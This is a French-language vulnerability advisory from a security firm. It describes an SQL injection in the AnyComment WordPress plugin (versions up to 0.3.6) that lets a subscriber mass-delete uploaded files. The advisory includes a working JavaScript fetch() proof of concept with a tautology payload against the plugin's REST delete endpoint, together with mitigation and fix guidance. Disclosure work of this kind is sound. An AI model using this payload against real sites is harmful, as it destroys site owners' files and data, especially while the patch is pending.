Aller au contenu principal

AnyComment <= 0.3.6: SQL Injection permettant la suppression massive de fichiers

8 octobre 2025
8 min de lecture

Le plugin WordPress AnyComment jusqu'à la version 0.3.6 est vulnérable à une injection SQL dans l'endpoint de suppression de fichiers. Un abonné peut supprimer massivement les fichiers uploadés.

AnyComment <= 0.3.6: SQL Injection permettant la suppression massive de fichiers

> Découverte par Rooting Studio — Patch en attente — Priorité: élevée

Résumé

  • Logiciel: AnyComment (plugin WordPress)
  • Version vulnérable: <= 0.3.6
  • Gravité: Haute (CVSS suggéré 8.5)
  • Type: Injection SQL (OWASP Top 10 — A03: Injection)
  • Privilèges requis: Abonné
  • Impact: Suppression massive des fichiers uploadés (disque + base)

Description technique

L'endpoint de suppression de fichiers interpole directement le paramètre id dans une clause SQL IN (...) sans préparation ni cast. Un abonné peut injecter une tautologie dans la liste IN pour sélectionner toutes les lignes de la table des uploads et déclencher la suppression de fichiers (et miniatures) côté disque ainsi que des métadonnées associées.

Reproduction (PoC texte)

Prérequis: plugin actif; une page AnyComment expose anyCommentApiSettings.nonce; compte Abonné.

fetch("http://VOTRE_SITE/index.php/wp-json/anycomment/v1/documents/delete", {
  method: "POST",
  credentials: "same-origin",
  headers: {
    "X-WP-Nonce": anyCommentApiSettings.nonce,
    "Content-Type": "application/json"
  },
  body: JSON.stringify({ id: "4) OR 1=1 -- " }) // Remplacer 4 par un file_id réel
}).then(async r => { const t = await r.text(); try { console.log(r.status, JSON.parse(t)); } catch { console.log(r.status, t); } });

Résultat attendu: l'API renvoie un succès. Toutes les lignes de la table des uploads sont sélectionnées; chaque fichier (et miniature) est supprimé du disque, les méta de commentaires nettoyées, et les lignes DB supprimées.

Impact

  • Impact d'intégrité élevé: suppression arbitraire de fichiers uploadés et métadonnées par un Abonné.
  • Pas d'interaction utilisateur supplémentaire au-delà de la requête authentifiée.

Évaluation CVSS v3.1 (proposée)

  • Vecteur: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
  • Score de base ≈ 6.5–8.5 selon interprétation

Mitigation immédiate

  • Désactiver le plugin AnyComment ou restreindre son utilisation aux rôles de confiance.
  • Mettre en place des sauvegardes et restaurations testées.
  • Surveiller les endpoints REST et les suppressions massives.

Correctif recommandé (pour l’éditeur)

  • Utiliser des requêtes préparées avec placeholders.
  • Caster et valider id (entier) avant requête.
  • Vérifier les autorisations côté serveur pour la suppression.

Contexte et conformité

À partir du T4 2024, le Cyber Resilience Act (CRA) introduit des obligations de divulgation des vulnérabilités dans l'UE. Les éditeurs doivent disposer d’un processus de VDP.

Besoin d’évaluer la sécurité de votre application WordPress/Headless ? Découvrez notre **pentest web** (OWASP, rapports actionnables, re‑tests inclus).

Votre site est-il sécurisé ?

Faites analyser la sécurité de votre site web par nos experts en cybersécurité.

Articles similaires

Shortcode Redirect <= 1.0.02: XSS stockée via le paramètre sec

Le plugin WordPress Shortcode Redirect jusqu'à la version 1.0.02 est vulnérable à une XSS stockée via le paramètre 'sec' du shortcode [redirect]. Corrigé en 1.0.03.

Gestion d'incidents cybersécurité : Guide complet pour PME

Découvrez comment gérer efficacement les incidents de cybersécurité. Guide pratique avec procédures, checklists et bonnes pratiques pour les PME.

Formation cybersécurité : Guide complet pour sensibiliser vos équipes

Découvrez comment former efficacement vos équipes à la cybersécurité. Guide pratique avec exemples concrets, programmes de formation et bonnes pratiques.